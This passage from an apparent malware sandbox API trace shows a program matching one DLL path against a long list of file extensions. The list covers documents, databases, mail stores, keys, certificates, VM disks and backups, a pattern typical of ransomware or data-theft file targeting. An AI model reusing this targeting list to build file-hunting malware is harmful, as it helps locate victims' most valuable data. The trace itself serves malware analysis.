(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.dbf") returned 0 [0099.390] lstrlenA (lpString="*.dbf") returned 5 [0099.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.myox") returned 0 [0099.390] lstrlenA (lpString="*.myox") returned 6 [0099.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.myo") returned 0 [0099.391] lstrlenA (lpString="*.myo") returned 5 [0099.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.qbw") returned 0 [0099.391] lstrlenA (lpString="*.qbw") returned 5 [0099.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.qbb") returned 0 [0099.391] lstrlenA (lpString="*.qbb") returned 5 [0099.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.qbm") returned 0 [0099.391] lstrlenA (lpString="*.qbm") returned 5 [0099.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.qbo") returned 0 [0099.391] lstrlenA (lpString="*.qbo") returned 5 [0099.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.qbx") returned 0 [0099.391] lstrlenA (lpString="*.qbx") returned 5 [0099.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.qba") returned 0 [0099.391] lstrlenA (lpString="*.qba") returned 5 [0099.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.qby") returned 0 [0099.391] lstrlenA (lpString="*.qby") returned 5 [0099.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.qbj") returned 0 [0099.391] lstrlenA (lpString="*.qbj") returned 5 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.ofx") returned 0 [0099.392] lstrlenA (lpString="*.ofx") returned 5 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.qif") returned 0 [0099.392] lstrlenA (lpString="*.qif") returned 5 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.mye") returned 0 [0099.392] lstrlenA (lpString="*.mye") returned 5 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.mbox") returned 0 [0099.392] lstrlenA (lpString="*.mbox") returned 6 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.eml") returned 0 [0099.392] lstrlenA (lpString="*.eml") returned 5 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.pst") returned 0 [0099.392] lstrlenA (lpString="*.pst") returned 5 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.ost") returned 0 [0099.392] lstrlenA (lpString="*.ost") returned 5 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.idx") returned 0 [0099.392] lstrlenA (lpString="*.idx") returned 5 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.dbx") returned 0 [0099.392] lstrlenA (lpString="*.dbx") returned 5 [0099.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.sql") returned 0 [0099.393] lstrlenA (lpString="*.sql") returned 5 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.mdb") returned 0 [0099.393] lstrlenA (lpString="*.mdb") returned 5 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.fdb") returned 0 [0099.393] lstrlenA (lpString="*.fdb") returned 5 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.wab") returned 0 [0099.393] lstrlenA (lpString="*.wab") returned 5 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.dat") returned 0 [0099.393] lstrlenA (lpString="*.dat") returned 5 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.txt") returned 0 [0099.393] lstrlenA (lpString="*.txt") returned 5 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.jpeg") returned 0 [0099.393] lstrlenA (lpString="*.jpeg") returned 6 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.jpg") returned 0 [0099.393] lstrlenA (lpString="*.jpg") returned 5 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.png") returned 0 [0099.393] lstrlenA (lpString="*.png") returned 5 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.php") returned 0 [0099.393] lstrlenA (lpString="*.php") returned 5 [0099.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.cs") returned 0 [0099.394] lstrlenA (lpString="*.cs") returned 4 [0099.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.cpp") returned 0 [0099.394] lstrlenA (lpString="*.cpp") returned 5 [0099.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.rar") returned 0 [0099.394] lstrlenA (lpString="*.rar") returned 5 [0099.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.zip") returned 0 [0099.394] lstrlenA (lpString="*.zip") returned 5 [0099.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.html") returned 0 [0099.394] lstrlenA (lpString="*.html") returned 6 [0099.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.htm") returned 0 [0099.394] lstrlenA (lpString="*.htm") returned 5 [0099.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.xlsx") returned 0 [0099.394] lstrlenA (lpString="*.xlsx") returned 6 [0099.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.xls") returned 0 [0099.394] lstrlenA (lpString="*.xls") returned 5 [0099.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.mp4") returned 0 [0099.394] lstrlenA (lpString="*.mp4") returned 5 [0099.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.ppt") returned 0 [0099.394] lstrlenA (lpString="*.ppt") returned 5 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.pptx") returned 0 [0099.395] lstrlenA (lpString="*.pptx") returned 6 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.doc") returned 0 [0099.395] lstrlenA (lpString="*.doc") returned 5 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.dot") returned 0 [0099.395] lstrlenA (lpString="*.dot") returned 5 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.docx") returned 0 [0099.395] lstrlenA (lpString="*.docx") returned 6 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.7z") returned 0 [0099.395] lstrlenA (lpString="*.7z") returned 4 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.tar") returned 0 [0099.395] lstrlenA (lpString="*.tar") returned 5 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.bz2") returned 0 [0099.395] lstrlenA (lpString="*.bz2") returned 5 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.gz") returned 0 [0099.395] lstrlenA (lpString="*.gz") returned 4 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.mkv") returned 0 [0099.395] lstrlenA (lpString="*.mkv") returned 5 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.eml") returned 0 [0099.395] lstrlenA (lpString="*.eml") returned 5 [0099.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.msg") returned 0 [0099.396] lstrlenA (lpString="*.msg") returned 5 [0099.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.edb") returned 0 [0099.396] lstrlenA (lpString="*.edb") returned 5 [0099.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.accdb") returned 0 [0099.396] lstrlenA (lpString="*.accdb") returned 7 [0099.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.odb") returned 0 [0099.396] lstrlenA (lpString="*.odb") returned 5 [0099.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.java") returned 0 [0099.396] lstrlenA (lpString="*.java") returned 6 [0099.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.asm") returned 0 [0099.396] lstrlenA (lpString="*.asm") returned 5 [0099.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.pfx") returned 0 [0099.396] lstrlenA (lpString="*.pfx") returned 5 [0099.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.pem") returned 0 [0099.396] lstrlenA (lpString="*.pem") returned 5 [0099.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.p12") returned 0 [0099.396] lstrlenA (lpString="*.p12") returned 5 [0099.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.gpg") returned 0 [0099.397] lstrlenA (lpString="*.gpg") returned 5 [0099.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.vsd") returned 0 [0099.397] lstrlenA (lpString="*.vsd") returned 5 [0099.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.odg") returned 0 [0099.397] lstrlenA (lpString="*.odg") returned 5 [0099.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.raw") returned 0 [0099.397] lstrlenA (lpString="*.raw") returned 5 [0099.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.nef") returned 0 [0099.397] lstrlenA (lpString="*.nef") returned 5 [0099.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.svg") returned 0 [0099.397] lstrlenA (lpString="*.svg") returned 5 [0099.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.psd") returned 0 [0099.397] lstrlenA (lpString="*.psd") returned 5 [0099.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.vmx") returned 0 [0099.397] lstrlenA (lpString="*.vmx") returned 5 [0099.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.vmdk") returned 0 [0099.397] lstrlenA (lpString="*.vmdk") returned 6 [0099.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.vdi") returned 0 [0099.398] lstrlenA (lpString="*.vdi") returned 5 [0099.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.lay6") returned 0 [0099.398] lstrlenA (lpString="*.lay6") returned 6 [0099.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.mpeg") returned 0 [0099.398] lstrlenA (lpString="*.mpeg") returned 6 [0099.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.djvu") returned 0 [0099.398] lstrlenA (lpString="*.djvu") returned 6 [0099.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.tiff") returned 0 [0099.398] lstrlenA (lpString="*.tiff") returned 6 [0099.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.backup") returned 0 [0099.398] lstrlenA (lpString="*.backup") returned 8 [0099.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.pdf") returned 0 [0099.398] lstrlenA (lpString="*.pdf") returned 5 [0099.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.cert") returned 0 [0099.398] lstrlenA (lpString="*.cert") returned 6 [0099.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.docm") returned 0 [0099.398] lstrlenA (lpString="*.docm") returned 6 [0099.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.xlsm") returned 0 [0099.398] lstrlenA (lpString="*.xlsm") returned 6 [0099.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.dwg") returned 0 [0099.399] lstrlenA (lpString="*.dwg") returned 5 [0099.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.nd") returned 0 [0099.399] lstrlenA (lpString="*.nd") returned 4 [0099.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.tlg") returned 0 [0099.399] lstrlenA (lpString="*.tlg") returned 5 [0099.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.lgb") returned 0 [0099.399] lstrlenA (lpString="*.lgb") returned 5 [0099.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.mov") returned 0 [0099.399] lstrlenA (lpString="*.mov") returned 5 [0099.399] PathMatchSpecA 